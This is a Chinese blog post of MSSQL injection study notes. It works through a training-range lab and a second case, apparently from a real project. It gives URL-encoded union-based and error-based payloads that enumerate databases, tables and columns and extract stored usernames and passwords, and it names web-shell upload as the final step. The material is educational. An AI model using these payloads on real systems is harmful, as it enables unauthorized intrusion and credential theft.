MSSQL注入学习

MSSQL注入学习

对于SQL注入来说,之前只在项目中接触过MYSQL和Postgresql注入,这次记录下前辈在某系统后台挖掘的MSSQL注入。

简介

MSSQL,指的是MSSQL是指微软的SQL Server数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。属关系型数据库

注入

​ MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖的攻击思路。

对于MSSQL注入需要注意的是:

  • 注入点的注入类型,是字符型还是数字型
  • 注入点的权限问题,是sadb_owner还是public.对与mssql有三个权限,sa(最高权限,相当于system),db(文件管理,数据库操作等等,相当于user-administrator),public(数据库操作权限,相当于guest-users)
  • 注入点是否报错显示,对于字符型报错点是否可以使用注释语句

基础知识

  • MSSQL自带库–>master数据库

  • 每个库都有一个系统自带表–>sysobjects

    1
    2
    3
    4
    该系统表值得记住的字段:NAME字段 XTYPE字段  ID字段
    Name:表名信息
    Xtype:代表表达类型。S参数代表系统自带表,U参数代表用户创建的表
    Id:用来连接syscolumns表
  • top关键字限制输出数据.与MYSQL中的limit关键字相同用来限制输出数据条数,如输出一条数据 (top 1),输出第二条数据(top 1+).

  • 注释符号为–

常用参数函数

  • @@version:当前数据库 版本
  • @@servername:当前运行服务器 名称
  • db_name:当前数据库名称
  • user:当前 数据库执行 用户
  • IS_SERVRoLEMEMBER():查询数据库权限。常用权限sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin,证明为相应权限返回1.

联合查询

联合查询使用union进行连接查询语句

  • 判断注入点后,使用order by获取查询字段数
  • 使用union后面连接查询语句
1
xxxxx union select null,null,null,null,(查询语句)  from   xxxx   where   xxx=xxx

报错查询

1
2
数字型:and 1=(select @@version)
字符型:‘ and 1=(select @@version)--

由于括号里面的查询结果为字符类型,而前面的1为整型。系统会将字符类型转换为整型,肯定与前面的数字1不相等,所以报错。在转换为整数型之前会将查询语句进行查询。

步骤/思路

  • 首先判断注入点字段位置,注入点类型为字符型还是数字型

    1
    2
    数字型: and 1=1--  and 1=2--
    字符型: ‘ and 1=1-- ’ and 1=2--
  • 判断注入点查询注入方式:联合查询 、报错查询、布尔/时间盲注

    若使用order by查询出该查询语句查询字段后,则可以尝试是否可以使用union联合查询(可能会过滤转义特殊字符)

    若联合查询特殊字符被过滤并且目标系统存在报错回显信息,尝试报错查询注入

    若前两者都不能,则尝试布尔/时间盲注。通过一些mssql数据库中的函数比如exist(),substring()等获取

  • 通过注入查询方式按照数据库基本信息(当前数据库名称,用户,运行服务器,执行权限)–>数据表–>数据列–>敏感信息数据–>写 shell木马文件–>连接服务器,获取权限

靶场练习

靶场地址:SQL手工注入漏洞测试(Sql Server数据库)SQL注入_在线靶场_墨者学院

靶场页面如下,显示一个管理系统登录页面

在尝试使用弱口令登录错误后,缓过来这个注入不应该在登录中。看到下面有个通知,点进去看到通过id值来获取页面,可能存在注入点,下面进行探测

通过两者构造不同判断出该id字段存在注入点

该注入点为数字型注入,先判断查询字段数进行查询(使用order by x)

当字段为5时显示错误,则查询字段为4

我们判断可以使用联合注入进行查询,下面判断回显字段,返回第二个和第三个字段并且为字符型

1
id=-2%20union%20all%20select%20null,%272%27,%273%27,4

确定回显字段后,在对应字段输入查询信息进行查询

1
id=-2%20union%20all%20select%20null,(@@version),(@@servername),4

查询数据库名称和当前用户

爆数据库中数据表

查询数据表中的列.这里通过col_name()函数获取对应数据表的第几个列名称

1
id=-2%20union%20all%20select%201,(select%20top%201%20col_name(object_id(%27manage%27),1)%20from%20sysobjects),%20%273%27,4

查询获得的username和password列后,接着就去获取该字段值

1
d=-2%20union%20all%20select%201,username,password,4%20from%20manage

MD5解密获取明文密码

登录系统成功,获取flag

项目实战

下面对在项目中遇到的MSSQL注入进行记录学习。

修改content字段为单引号,此时服务器报错显示引号不完整。可以判断该注入点为字符型注入。

使用报错注入查询数据库相关数据信息,如下:

获取数据库版本

1
‘%20and%201=(select%20@@version)--

可以在报错信息中看到数据库版本

获取数据库名称

1
‘%20and%201=(select%20db_name())--

在报错信息中看到数据库名称

获取运行服务器名称

1
‘%20and%201=(select%20@@servername)--

在报错信息中看到服务器名称.

获取用户数据库名称

获取第一个用户数据库名称

1
‘%20and%201=(select%20top%201%20name%20from%20master..sysdatabases%20where%20dbid>4)--

获取第二个用户数据库名称

当获取第一个用户数据库后,接着利用第一个用户数据名称来获取其他用户数据库名称

查询方式1:

1
'+and+1=(select%20top%201%20name%20from%20master..sysdatabases%20where%20dbid>4%20and%20name!='ReportServer')--

查询方式2:

1
'+and+1=(select%20top%201%20name%20from%20master..sysdatabases%20where%20dbid>5)--

可以按照这样的方法来一个一个获取用户数据库名称

获取所有数据库名称

1
'+and+1=(select%20name%20from%20master..sysdatabases%20for%20xml%20path)--

将查询结果以xml形式展示

获取数据库表名

获取用户表名

通过sysobjects数据表来查询用户创建的数据表

查询第一个数据表

1
'+and+1=(select%20top%201%20name%20from%20sysobjects%20where%20xtype='u')--

我们也可以使用SQL注入中的常用的information_schema数据库进行查询

1
'+and+1=(select%20top%201%20table_name%20from%20information_schema.tables)--

查询第二个数据表

1
'+and+1=(select%20top%201%20name%20from%20sysobjects%20where%20xtype='u'%20and%20name!='UsersInfoB')--

和上面逐一获取数据库一样,照着此法获取数据表名。

获取所有数据库名

将查询结果以xml文件一起输出

1
'+and+1=(select%20name%20from%20sysobjects%20where%20xtype='u'%20for%20xml%20path)--

获取数据库列名

获取列名称

1
'+and+1=(select%20top%201%20name%20from%20syscolumns%20where%20id=(select%20id%20from%20sysobjects%20where%20name='UsersInfoB'))--

以此来依次获取列名,同上。

获取所有列名

1
'+and+1=(select%20%20name%20from%20syscolumns%20where%20id=(select%20id%20from%20sysobjects%20where%20name='UsersInfoB')%20for%20xml%20path)--

获取数据

这里以UsersInfo数据表来获取相应字段数据

查询用户名称

1
'+and+1=(select%20top%201%20Username%20from%20UsersInfoB%20where%20id=1)

查询密码

1
'+and+1=(select%20top%201%20Userpass%20from%20UsersInfoB%20where%20id=1)--
打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信